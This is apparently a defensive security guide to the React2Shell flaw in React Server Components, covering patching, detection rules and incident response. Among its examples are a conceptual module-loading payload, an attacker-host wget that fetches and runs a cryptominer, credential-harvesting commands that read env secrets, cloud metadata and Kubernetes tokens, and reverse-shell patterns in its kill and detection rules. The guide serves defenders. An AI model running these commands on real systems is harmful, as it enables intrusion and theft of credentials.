React2Shell (CVE-2025-55182): Critical React Vulnerability & Complete Security Guide

// Simplified conceptual example (NOT actual exploit code)
// React Server Function endpoint receives request:
POST /api/server-action
Content-Type: text/x-component

// Malicious Flight protocol payload (simplified):
{
  "type": "module-reference",
  "name": "child_process",
  "method": "execSync",
  "args": ["malicious command"]
}

// Vulnerable deserialization code (conceptual):
function deserializeFlightPayload(payload) {
  // UNSAFE: No validation of payload structure
  const obj = JSON.parse(payload);
  
  if (obj.type === 'module-reference') {
    const module = require(obj.name); // Attacker controls module name!
    return module[obj.method](...obj.args); // Attacker controls method and args!
  }
}

// Result: Arbitrary code execution on the server

# Navigate to your project directory
cd your-project

# Check React version
grep -E '"react"|"react-dom"' package.json

# Check for RSC packages
grep -E '"react-server-dom-webpack"|"react-server-dom-parcel"|"react-server-dom-turbopack"' package.json

# Check Next.js version
grep '"next"' package.json

# npm users
npm audit

# Yarn users
yarn audit

# pnpm users
pnpm audit

# Search for Server Components indicators
grep -r "use server" src/
grep -r "use client" src/

# Search for Server Actions
grep -r "formAction" src/
grep -r "serverAction" src/

# Search for App Router usage (Next.js)
ls -la app/  # If this directory exists, you're likely using App Router

# Attack chain observed by Wiz:
1. Exploit CVE-2025-55182 via crafted HTTP POST to Server Function endpoint
2. Establish reverse shell connection to attacker C2 server
3. Download UPX-packed XMRig cryptocurrency miner
4. Configure miner with attacker's pool credentials
5. Attempt persistence via cron jobs or systemd services
6. Scan for other vulnerable hosts in the environment

# Command example (sanitized):
curl -X POST https://victim-app.com/api/server-action \
  -H "Content-Type: text/x-component" \
  --data-binary @malicious-payload.bin

# Post-exploitation observed:
wget http://attacker-server.com/xmrig-upx -O /tmp/miner
chmod +x /tmp/miner
/tmp/miner --url=pool.supportxmr.com:443 --user=<attacker-wallet>

# Observed credential harvesting techniques:

# 1. Environment variable extraction
env | grep -i "api_key\|secret\|password\|token" | base64

# 2. AWS metadata service queries
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 3. Docker secret extraction
cat /run/secrets/*

# 4. Kubernetes service account tokens
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# 5. Configuration file scanning
find / -name "*.env" -o -name "*config*.json" -o -name "credentials*" 2>/dev/null

# Check application logs for suspicious patterns:

# 1. Malformed Flight protocol payloads
grep "text/x-component" /var/log/nginx/access.log
grep "RSC" /var/log/application.log

# 2. Unexpected module imports in error logs
grep -i "require.*child_process\|require.*fs\|require.*net" /var/log/application.log

# 3. Server Function endpoint anomalies
grep "POST.*api" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn

# 4. Error log spikes (exploitation attempts may generate errors)
tail -f /var/log/application.log | grep -i "error\|exception"

# For projects directly using React Server Components:

# Update to latest React 19.x patched versions:
npm install react@latest react-dom@latest

# Or update to specific patched versions:
npm install react@19.0.1 react-dom@19.0.1    # For 19.0.x users
npm install react@19.1.2 react-dom@19.1.2    # For 19.1.x users
npm install react@19.2.1 react-dom@19.2.1    # For 19.2.x users

# Yarn users:
yarn upgrade react@latest react-dom@latest

# pnpm users:
pnpm update react@latest react-dom@latest

# Update all react-server-dom packages you're using:

# Webpack users:
npm install react-server-dom-webpack@latest

# Parcel users:
npm install react-server-dom-parcel@latest

# Turbopack users:
npm install react-server-dom-turbopack@latest

# Update all at once:
npm install react@latest react-dom@latest \
  react-server-dom-webpack@latest \
  react-server-dom-parcel@latest \
  react-server-dom-turbopack@latest

# Identify your current Next.js version:
npm list next

# Upgrade to the patched version for your release line:

# Next.js 15.0.x users:
npm install next@15.0.5

# Next.js 15.1.x users:
npm install next@15.1.9

# Next.js 15.2.x users:
npm install next@15.2.6

# Next.js 15.3.x users:
npm install next@15.3.6

# Next.js 15.4.x users:
npm install next@15.4.8

# Next.js 15.5.x users:
npm install next@15.5.7

# Next.js 16.0.x users:
npm install next@16.0.7

# For Next.js 14.3.0-canary.77 or later canary:
# Downgrade to latest stable 14.x:
npm install next@14

# Verify the update:
npm list next react react-dom

# If using React Router's unstable RSC features:
npm install react@latest react-dom@latest \
  react-server-dom-parcel@latest \
  react-server-dom-webpack@latest \
  @vitejs/plugin-rsc@latest

# Update Waku and React dependencies:
npm install waku@latest react@latest react-dom@latest react-server-dom-webpack@latest

# See https://github.com/wakujs/waku/discussions/1823 for details

# Ensure minimum version:
npm install rwsdk@latest  # Must be >= 1.0.0-alpha.0

# Update React dependencies:
npm install react@latest react-dom@latest react-server-dom-webpack@latest

# See https://docs.rwsdk.com/migrating/ for migration guide

# Update Vite RSC plugin and React:
npm install @vitejs/plugin-rsc@latest react@latest react-dom@latest

# Follow Expo-specific guidance:
# Visit https://expo.dev/changelog for mitigation instructions

# General React update:
npm install react@latest react-dom@latest

# Check installed versions:
npm list react react-dom next

# Expected output should show patched versions:
# react@19.0.1 (or 19.1.2, 19.2.1)
# react-dom@19.0.1 (or 19.1.2, 19.2.1)
# next@15.0.5 (or higher patched version)

# Check for vulnerabilities:
npm audit

# If vulnerability still shows, try:
npm audit fix

# Force update if needed:
npm update react react-dom next

# Clean build artifacts:
rm -rf .next node_modules package-lock.json

# Reinstall dependencies:
npm install

# Rebuild application:
npm run build

# Restart application:
npm run start

# For Docker deployments, rebuild images:
docker build -t your-app:patched .
docker stop your-app-container
docker run -d --name your-app-container your-app:patched

# Snyk scanning:
npx snyk test

# Trivy scanning (for containers):
trivy image your-app:patched

# OWASP Dependency Check:
dependency-check --project "YourApp" --scan ./

# Grype scanning:
grype dir:.

# ModSecurity rule to detect React2Shell exploitation
SecRule REQUEST_HEADERS:Content-Type "@contains text/x-component" \
    "id:2025001,\
    phase:2,\
    block,\
    t:lowercase,\
    msg:'React2Shell CVE-2025-55182 Exploitation Attempt',\
    logdata:'Matched Data: %{MATCHED_VAR}',\
    severity:'CRITICAL',\
    setvar:'tx.react2shell_score=+5',\
    tag:'application-multi',\
    tag:'language-javascript',\
    tag:'platform-react',\
    tag:'attack-rce',\
    tag:'CVE-2025-55182'"

# Block suspicious Flight protocol patterns
SecRule REQUEST_BODY "@rx (?:module-reference|require\(|child_process|fs\.readFileSync)" \
    "id:2025002,\
    phase:2,\
    block,\
    t:urlDecodeUni,\
    msg:'Suspicious Flight Protocol Payload',\
    severity:'CRITICAL',\
    setvar:'tx.react2shell_score=+5',\
    tag:'CVE-2025-55182'"

// Cloudflare custom WAF rule expression:
(http.request.method eq "POST" and 
 (http.request.uri.path contains "/api/" or 
  http.request.uri.path contains "/_next/data/") and
 http.request.headers["content-type"][0] contains "text/x-component") or
(http.request.body.raw contains "module-reference" and
 http.request.body.raw contains "child_process")

# Detect potential React2Shell exploitation attempts
index=web_logs 
(method=POST AND (uri_path="*/api/*" OR uri_path="*/_next/data/*"))
(content_type="text/x-component" OR 
 request_body="*module-reference*" OR
 request_body="*child_process*" OR
 request_body="*require(*")
| stats count by src_ip, uri_path, content_type
| where count > 3
| eval severity="CRITICAL"
| eval cve="CVE-2025-55182"
| table _time, src_ip, uri_path, count, severity, cve

/* Detect React2Shell post-exploitation activity */
sequence by host.name
  [network where event.action == "connection_attempted" 
   and process.name in ("node", "node.exe") 
   and not cidrmatch(destination.ip, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")]
  [process where event.action == "start" 
   and process.parent.name in ("node", "node.exe")
   and process.name in ("bash", "sh", "cmd.exe", "powershell.exe")]

title: React2Shell Exploitation - Suspicious Process Execution
id: react2shell-2025-55182
status: experimental
description: Detects suspicious child processes spawned by Node.js indicative of React2Shell exploitation
references:
    - https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
author: Security Team
date: 2025/12/07
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\\node.exe'
            - '\\next-server.exe'
    selection_child:
        Image|endswith:
            - '\\cmd.exe'
            - '\\powershell.exe'
            - '\\bash.exe'
            - '\\sh.exe'
            - '\\curl.exe'
            - '\\wget.exe'
    condition: selection_parent and selection_child
falsepositives:
    - Legitimate build processes
    - Development environments
level: critical
tags:
    - attack.execution
    - attack.t1059
    - cve.2025.55182

# Suricata rule for React2Shell detection
alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"EXPLOIT React2Shell CVE-2025-55182 Exploitation Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"text/x-component"; http_header;
    content:"module-reference"; http_client_body;
    reference:cve,2025-55182;
    classtype:web-application-attack;
    sid:2025001;
    rev:1;
)

# Detect OAST callback attempts
alert dns $HOME_NET any -> any 53 (
    msg:"EXPLOIT React2Shell OAST Callback Attempt";
    dns_query;
    content:".oast"; nocase;
    reference:cve,2025-55182;
    classtype:trojan-activity;
    sid:2025002;
    rev:1;
)

#!/bin/bash
# React2Shell log analysis script

echo "=== Analyzing logs for CVE-2025-55182 exploitation ==="

# 1. Check for Flight protocol requests
echo "\n[+] Suspicious Flight protocol requests:"
grep -i "text/x-component" /var/log/nginx/access.log | \
    awk '{print $1, $4, $7, $9}' | sort | uniq -c | sort -rn

# 2. Identify exploitation attempts from unique IPs
echo "\n[+] Top source IPs with Flight protocol requests:"
grep "text/x-component" /var/log/nginx/access.log | \
    awk '{print $1}' | sort | uniq -c | sort -rn | head -20

# 3. Check for POST requests to Server Function endpoints
echo "\n[+] POST requests to potential Server Function endpoints:"
grep "POST.*\/api\/" /var/log/nginx/access.log | \
    grep -E "19[0-9]|20[0-9]|50[0-9]" | \
    awk '{print $1, $4, $7, $9}' | tail -50

# 4. Application error logs (may indicate failed exploitation)
echo "\n[+] Recent application errors (may indicate exploitation):"
tail -100 /var/log/application.log | grep -i "error\|exception" | \
    grep -i "deseriali\|flight\|rsc"

# 5. Check for suspicious user agents
echo "\n[+] Suspicious or automated user agents:"
grep "text/x-component" /var/log/nginx/access.log | \
    awk -F'"' '{print $6}' | sort | uniq -c | sort -rn

# 6. Timeline of exploitation attempts
echo "\n[+] Timeline of potential exploitation (last 24 hours):"
grep "text/x-component" /var/log/nginx/access.log | \
    awk '{print $4}' | cut -d: -f1,2 | sort | uniq -c

echo "\n=== Analysis complete ==="
echo "Review suspicious IPs and consider blocking if exploitation confirmed"

# Falco rule for React2Shell detection in containers
- rule: React2Shell Container Exploitation
  desc: Detects suspicious process execution in React/Next.js containers
  condition: >
    spawned_process and
    container and
    container.image.repository in (node, nextjs) and
    proc.name in (bash, sh, curl, wget, nc, netcat) and
    not proc.pname in (npm, yarn, pnpm)
  output: >
    Potential React2Shell exploitation in container
    (user=%user.name container_id=%container.id 
    container_name=%container.name image=%container.image.repository 
    process=%proc.name parent=%proc.pname command=%proc.cmdline)
  priority: CRITICAL
  tags: [container, exploit, CVE-2025-55182]

# Query ECS/Fargate logs for React2Shell indicators
fields @timestamp, @message
| filter @message like /text\/x-component/
    or @message like /module-reference/
    or @message like /child_process/
| stats count() by bin(5m) as time_window
| sort time_window desc

// Azure Sentinel detection for React2Shell
let timeframe = 7d;
let react_endpoints = dynamic(["api", "_next/data"]);
W3CIISLog
| where TimeGenerated > ago(timeframe)
| where csMethod == "POST"
| where csUriStem has_any (react_endpoints)
| where csUserAgent contains "python" or 
        csUserAgent contains "curl" or
        csContentType contains "text/x-component"
| summarize 
    Requests = count(),
    UniqueIPs = dcount(cIP),
    Endpoints = make_set(csUriStem)
    by bin(TimeGenerated, 1h), cIP
| where Requests > 10
| order by Requests desc

# Isolate compromised container/server from network:

# For Docker containers:
docker network disconnect bridge compromised_container_id

# For Kubernetes pods:
kubectl label pod <pod-name> quarantine=true
kubectl patch networkpolicy <policy-name> --patch '{"spec":{"podSelector":{"matchLabels":{"quarantine":"true"}}}}'

# For AWS EC2 instances, modify security group to block all traffic:
aws ec2 modify-instance-attribute \
    --instance-id i-1234567890abcdef0 \
    --groups sg-0123456789abcdef0  # Quarantine security group with no rules

# For Azure VMs:
az vm update -g myResourceGroup -n myVM --set networkProfile.networkInterfaces[0].primary=false

# Create forensic snapshots BEFORE patching:

# Docker containers - commit to image:
docker commit compromised_container evidence_$(date +%Y%m%d_%H%M%S)

# Kubernetes - copy logs and pod description:
kubectl logs <pod-name> > evidence_logs_$(date +%Y%m%d_%H%M%S).log
kubectl describe pod <pod-name> > evidence_pod_$(date +%Y%m%d_%H%M%S).txt

# VM disk snapshot (AWS):
aws ec2 create-snapshot \
    --volume-id vol-1234567890abcdef0 \
    --description "Forensic snapshot - CVE-2025-55182 incident $(date)"

# Copy critical logs before isolation:
tar -czf evidence_$(hostname)_$(date +%Y%m%d_%H%M%S).tar.gz \
    /var/log/nginx/ \
    /var/log/application.log \
    /var/log/syslog \
    ~/.bash_history \
    /tmp/

# Identify and terminate suspicious processes:

# Find processes spawned by Node.js:
ps auxf | grep -E "node|next" -A 5

# Kill cryptocurrency miners:
pkill -9 -f "xmrig\|miner\|cryptonight"

# Kill reverse shells:
pkill -9 -f "nc\|netcat\|bash -i\|/bin/sh -i"

# Check for persistence mechanisms:
crontab -l
systemctl list-units --type=service --state=running | grep -v "@"
ls -la /etc/systemd/system/

# Search logs for first exploitation attempt:
grep -i "text/x-component" /var/log/nginx/access.log | head -1

# Check file modification times for backdoors:
find /var/www /tmp /home -type f -mtime -7 -ls

# Review application start time and compare with suspicious activity:
systemctl status your-app.service

# Check Docker container start time:
docker inspect <container-id> | grep StartedAt

# Check for credential harvesting:
grep -i "aws\|secret\|key\|token\|password" /var/log/application.log

# Review outbound network connections:
netstat -tunap | grep ESTABLISHED
ss -tunap | grep ESTABLISHED

# Check for data staged for exfiltration:
find /tmp /var/tmp -type f -size +10M -mtime -7

# Review S3 access logs for unusual data access (AWS):
aws s3api get-bucket-logging --bucket your-bucket-name

# Check CloudTrail for suspicious API calls:
aws cloudtrail lookup-events \
    --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue \
    --start-time $(date -u -d '7 days ago' +%Y-%m-%dT%H:%M:%S)

# Check for SSH key modifications:
find /home /root -name "authorized_keys" -mtime -7 -ls

# Review authentication logs:
grep -i "Accepted publickey\|Accepted password" /var/log/auth.log | tail -50

# Check for internal network scanning:
grep -E "Connection.*from.*internal" /var/log/syslog

# Kubernetes - check for unauthorized API access:
kubectl get events --all-namespaces | grep -i "unauthorized\|forbidden"

# Remove common persistence mechanisms:

# Malicious cron jobs:
crontab -r  # WARNING: Removes ALL cron jobs - review first!
crontab -e  # Edit to remove only malicious entries

# Malicious systemd services:
systemctl disable malicious.service
rm /etc/systemd/system/malicious.service
systemctl daemon-reload

# SSH backdoors:
rm /root/.ssh/unauthorized_key
rm /home/*/.ssh/unauthorized_key

# Web shells and backdoors:
find /var/www -name "*.php" -mtime -7 -type f -exec grep -l "eval\|base64_decode\|system\|exec" {} \;

# Remove miners:
rm -f /tmp/xmrig /tmp/miner /usr/local/bin/update

# Rotate all credentials that may have been exposed:

# AWS credentials:
aws iam delete-access-key --access-key-id AKIAIOSFODNN7EXAMPLE --user-name compromised-user
aws iam create-access-key --user-name compromised-user

# Update application secrets:
kubectl create secret generic app-secrets --from-literal=api_key=NEW_KEY --dry-run=client -o yaml | kubectl apply -f -

# Rotate database passwords:
mysql -u root -p -e "ALTER USER 'app_user'@'%' IDENTIFIED BY 'new_secure_password';"

# Invalidate sessions:
redis-cli FLUSHDB  # If using Redis for sessions

# Rotate JWT secrets:
# Update JWT_SECRET in environment variables and restart services

# Kubernetes: Delete and recreate pods from clean images
kubectl delete pod <compromised-pod>
kubectl rollout restart deployment/<deployment-name>

# Docker: Rebuild containers from clean base images
docker stop compromised_container
docker rm compromised_container
docker pull your-registry/your-image:latest  # Ensure this is patched!
docker run -d --name clean_container your-registry/your-image:latest

# EC2: Launch new instance from clean AMI
aws ec2 terminate-instances --instance-ids i-compromised
aws ec2 run-instances --image-id ami-clean --instance-type t3.medium ...

# Azure: Rebuild VM from clean image
az vm deallocate --name compromised-vm --resource-group myRG
az vm delete --name compromised-vm --resource-group myRG --yes
az vm create --name clean-vm --resource-group myRG --image clean-image

# Restore from backup taken BEFORE initial compromise:

# Identify clean backup:
aws ec2 describe-snapshots --owner-ids self \
    --filters "Name=start-time,Values=2025-11-28*" \
    --query 'Snapshots[*].[SnapshotId,StartTime,Description]' \
    --output table

# Restore database from backup:
mysql -u root -p database_name < backup_pre_compromise.sql

# Restore files from backup:
tar -xzf backup_pre_compromise.tar.gz -C /var/www/

# Kubernetes PVC restore:
kubectl apply -f pvc-restore-from-snapshot.yaml

# Apply patches across entire infrastructure:

# Update all Node.js containers:
docker images | grep node | awk '{print $1":"$2}' | \
    xargs -I {} docker pull {}

# Update all Kubernetes deployments:
for deploy in $(kubectl get deployments -o name); do
    kubectl set image $deploy react-container=your-registry/react-app:patched
done

# Update all EC2 instances in Auto Scaling Group:
aws autoscaling start-instance-refresh \
    --auto-scaling-group-name your-asg \
    --preferences MinHealthyPercentage=90

# Verify patches:
kubectl exec <pod-name> -- npm list react react-dom next

# Deploy enhanced monitoring post-incident:

# Enable detailed CloudTrail logging:
aws cloudtrail update-trail \
    --name your-trail \
    --include-global-service-events \
    --is-multi-region-trail

# Enable VPC Flow Logs:
aws ec2 create-flow-logs \
    --resource-type VPC \
    --resource-ids vpc-12345678 \
    --traffic-type ALL \
    --log-destination-type cloud-watch-logs \
    --log-group-name /aws/vpc/flowlogs

# Deploy runtime security monitoring (Falco):
helm install falco falcosecurity/falco \
    --set falco.jsonOutput=true \
    --set falco.fileOutput.enabled=true

# Enable audit logging in Kubernetes:
kubectl apply -f audit-policy.yaml

# Example GitHub Actions workflow for dependency scanning
name: Security Scan
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]
  schedule:
    - cron: '0 0 * * 0'  # Weekly scan

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Run npm audit
        run: npm audit --audit-level=high
      
      - name: Run Snyk
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
        with:
          args: --severity-threshold=high
      
      - name: Trivy vulnerability scanner
        uses: aquasecurity/trivy-action@master
        with:
          scan-type: 'fs'
          scan-ref: '.'
          format: 'sarif'
          output: 'trivy-results.sarif'

// ❌ UNSAFE: Dynamic code execution
'use server'
export async function unsafeAction(code) {
  return eval(code);  // NEVER DO THIS!
}

// ✅ SAFE: Validated input with specific operations
'use server'
import { z } from 'zod';

const InputSchema = z.object({
  operation: z.enum(['add', 'subtract', 'multiply']),
  a: z.number().min(0).max(1000),
  b: z.number().min(0).max(1000)
});

export async function safeCalculate(input) {
  // Validate input
  const validated = InputSchema.parse(input);
  
  // Perform specific, safe operations
  switch(validated.operation) {
    case 'add': return validated.a + validated.b;
    case 'subtract': return validated.a - validated.b;
    case 'multiply': return validated.a * validated.b;
    default: throw new Error('Invalid operation');
  }
}

// ✅ SAFE: Server Action with authentication
'use server'
import { auth } from '@/lib/auth';
import { db } from '@/lib/database';

export async function secureDataFetch(userId) {
  // Authenticate request
  const session = await auth();
  if (!session || session.user.id !== userId) {
    throw new Error('Unauthorized');
  }
  
  // Fetch data with parameterized queries (prevent SQL injection)
  const data = await db.query(
    'SELECT * FROM user_data WHERE user_id = $1',
    [userId]
  );
  
  return data;
}

// Example automated vulnerability monitoring script
const axios = require('axios');
const { execSync } = require('child_process');

async function checkVulnerabilities() {
  // Check npm audit
  const auditResult = execSync('npm audit --json', { encoding: 'utf-8' });
  const audit = JSON.parse(auditResult);
  
  if (audit.metadata.vulnerabilities.high > 0 || 
      audit.metadata.vulnerabilities.critical > 0) {
    
    // Send alert to Slack/Teams
    await axios.post(process.env.SLACK_WEBHOOK, {
      text: `🚨 Critical vulnerabilities detected!
      High: ${audit.metadata.vulnerabilities.high}
      Critical: ${audit.metadata.vulnerabilities.critical}
      Run 'npm audit' for details.`
    });
    
    // Create Jira ticket
    await createJiraTicket({
      summary: 'Security vulnerabilities detected in dependencies',
      priority: 'Highest',
      description: JSON.stringify(audit, null, 2)
    });
  }
}

// Run daily
setInterval(checkVulnerabilities, 24 * 60 * 60 * 1000);